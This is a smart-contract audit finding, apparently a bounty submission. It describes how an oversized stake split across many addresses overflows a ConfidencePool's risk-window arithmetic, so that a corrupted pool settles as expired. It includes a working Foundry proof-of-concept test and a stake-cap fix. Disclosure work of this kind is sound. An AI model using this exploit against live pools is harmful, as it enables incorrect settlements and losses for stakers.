FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Accepted oversized aggregate stake can block active-risk observation and let `CORRUPTED` resolve as `EXPIRED`

Author Revealed upon completion

Root + Impact

Description

When a caller invokes an observation path during an active-risk state, the pool is expected to successfully record riskWindowStart. This matters because riskWindowStart controls later settlement behavior. Once active risk is observed, the pool should not behave as if no risk window existed.

The attacker is a malicious oversized pre-risk staker, potentially split across many attacker-controlled addresses.

ConfidencePool accepts arbitrarily large aggregate stake before risk starts, but later recomputes squared-time accounting in _markRiskWindowStart() using checked uint256 arithmetic.

There is a real range where pre-risk staking succeeds, but the first later attempt to observe UNDER_ATTACK reverts with an arithmetic panic. Because the observation reverts, riskWindowStart remains zero.

That creates a dangerous settlement mismatch. Even after the registry later becomes CORRUPTED, the pool can still go through the EXPIRED branch in claimExpired() because the contract never successfully recorded the active-risk window.

The documented riskWindowStart == 0 corrupted-to-EXPIRED fallback only covers cases where no active-risk observation was successfully made. Here, observation is attempted through intended entrypoints, but accepted pool state makes those entrypoints revert. The branch flip is caused by in-scope arithmetic failure, not by the accepted lazy-observation design.

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
// @> Any intended manual observation reaches _observePoolState()
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
// @> Active-risk stake entry also observes state before processing
_assertDepositsAllowed(_observePoolState());
...
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
// @> Active-risk bonus entry also observes state before processing
_assertDepositsAllowed(_observePoolState());
...
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
// @> This can revert from overflow and leave riskWindowStart == 0
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
// @> totalEligibleStake is unbounded
// @> totalEligibleStake * t * t can overflow after accepted pre-risk stakes
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome != PoolStates.Outcome.UNRESOLVED && outcome != PoolStates.Outcome.EXPIRED) {
revert InvalidOutcome();
}
if (outcome == PoolStates.Outcome.UNRESOLVED) {
// @> claimExpired() also depends on successful observation before deciding the branch
IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(address(0), PoolStates.Outcome.SURVIVED, false, address(0));
} else {
// @> Because overflow kept riskWindowStart == 0,
// @> a corrupted pool can fall through to EXPIRED.
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
emit OutcomeFlagged(address(0), PoolStates.Outcome.EXPIRED, false, address(0));
}
claimsStarted = true;
}
...
}

Risk

Likelihood:

  • This occurs when the pool has accepted an extremely large aggregate stake before active risk begins, and a later caller attempts to observe UNDER_ATTACK.

  • The required aggregate amount is very large, but the contract imposes no per-user or aggregate stake cap, and the vulnerable amount can be split across many attacker-controlled addresses.

Impact:

  • The primary impact is incorrect settlement: a pool whose agreement actually becomes CORRUPTED can instead resolve as EXPIRED, allowing stakers to recover principal that should not be withdrawable through the expired path.

  • A secondary impact is operational DoS on active-risk observation entrypoints such as pokeRiskWindow(), stake(), and contributeBonus() because each path attempts the same overflowing observation before processing.

Proof of Concept

Add this test file:

test/poc/ObservationOverflowPoC.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {stdError} from "forge-std/StdError.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract ObservationOverflowPoC is Test {
uint256 internal constant HUGE_OBSERVE =
37_807_795_212_994_883_233_255_485_133_754_441_088_844_733_464_582_688_535_193;
uint256 internal constant SPLIT_ATTACKERS = 64;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePool internal pool;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal honestStaker = makeAddr("honestStaker");
address internal staker = makeAddr("staker");
address internal sponsor = makeAddr("sponsor");
function setUp() external {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
1,
recovery,
sponsor,
scope
);
}
function test_hugeStakeCanBlockRiskObservationAndLetCorruptedPoolResolveExpired() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
token.mint(staker, HUGE_OBSERVE);
vm.startPrank(staker);
token.approve(address(pool), HUGE_OBSERVE);
pool.stake(HUGE_OBSERVE);
vm.stopPrank();
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry());
uint256 honestBefore = token.balanceOf(honestStaker);
vm.prank(honestStaker);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED),
"corrupted pool escaped via expired"
);
assertEq(pool.riskWindowStart(), 0, "still no observed risk window");
assertEq(token.balanceOf(honestStaker) - honestBefore, 1e18, "honest staker recovered principal");
}
function test_splitAttackersCanAggregateIntoSameRiskObservationOverflow() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
uint256 perAttacker = (HUGE_OBSERVE / SPLIT_ATTACKERS) + 1;
for (uint256 i; i < SPLIT_ATTACKERS; ++i) {
address attackerShard = address(uint160(0xB000 + i));
token.mint(attackerShard, perAttacker);
vm.startPrank(attackerShard);
token.approve(address(pool), perAttacker);
pool.stake(perAttacker);
vm.stopPrank();
}
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
}
function test_sameObservationOverflowAlsoBricksActiveRiskStakeEntry() external {
_buildSplitPoisonedPool();
address lateStaker = makeAddr("lateStaker");
token.mint(lateStaker, 1e18);
vm.startPrank(lateStaker);
token.approve(address(pool), 1e18);
vm.expectRevert(stdError.arithmeticError);
pool.stake(1e18);
vm.stopPrank();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
}
function test_sameObservationOverflowAlsoBricksActiveRiskBonusContribution() external {
_buildSplitPoisonedPool();
address bonusContributor = makeAddr("bonusContributor");
token.mint(bonusContributor, 1e18);
vm.startPrank(bonusContributor);
token.approve(address(pool), 1e18);
vm.expectRevert(stdError.arithmeticError);
pool.contributeBonus(1e18);
vm.stopPrank();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
}
function _buildSplitPoisonedPool() internal {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
uint256 perAttacker = (HUGE_OBSERVE / SPLIT_ATTACKERS) + 1;
for (uint256 i; i < SPLIT_ATTACKERS; ++i) {
address attackerShard = address(uint160(0xC000 + i));
token.mint(attackerShard, perAttacker);
vm.startPrank(attackerShard);
token.approve(address(pool), perAttacker);
pool.stake(perAttacker);
vm.stopPrank();
}
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
}
}

Run:

cd repo && forge test --match-path test/poc/ObservationOverflowPoC.t.sol -vv

Verified result:

  • The huge aggregate stake is accepted before risk starts.

  • Later pokeRiskWindow() reverts with an arithmetic panic during UNDER_ATTACK.

  • riskWindowStart remains zero.

  • After the registry becomes CORRUPTED, claimExpired() resolves the pool as EXPIRED.

  • The honest staker recovers principal from a corrupted pool.

  • The same poisoned condition can be built across 64 attacker-controlled addresses.

  • Active-risk stake() and contributeBonus() also revert before processing because they attempt the same overflowing observation.

Recommended Mitigation

Enforce an aggregate stake cap derived from the maximum valid observation timestamp, such as expiry, so _markRiskWindowStart() and later claim arithmetic remain safe for every accepted pool state.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
+ if (totalEligibleStake + amount > MAX_SAFE_TOTAL_STAKE) {
+ revert StakeCapExceeded();
+ }
...
}

The cap must be enforced against aggregate stake, not only per-user stake, because the overflow can be reached through many attacker-controlled addresses.

If the protocol does not want a hard stake cap, then _markRiskWindowStart() must be rewritten so that totalEligibleStake * t * t cannot overflow for any accepted stake and any valid future observation timestamp up to expiry.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!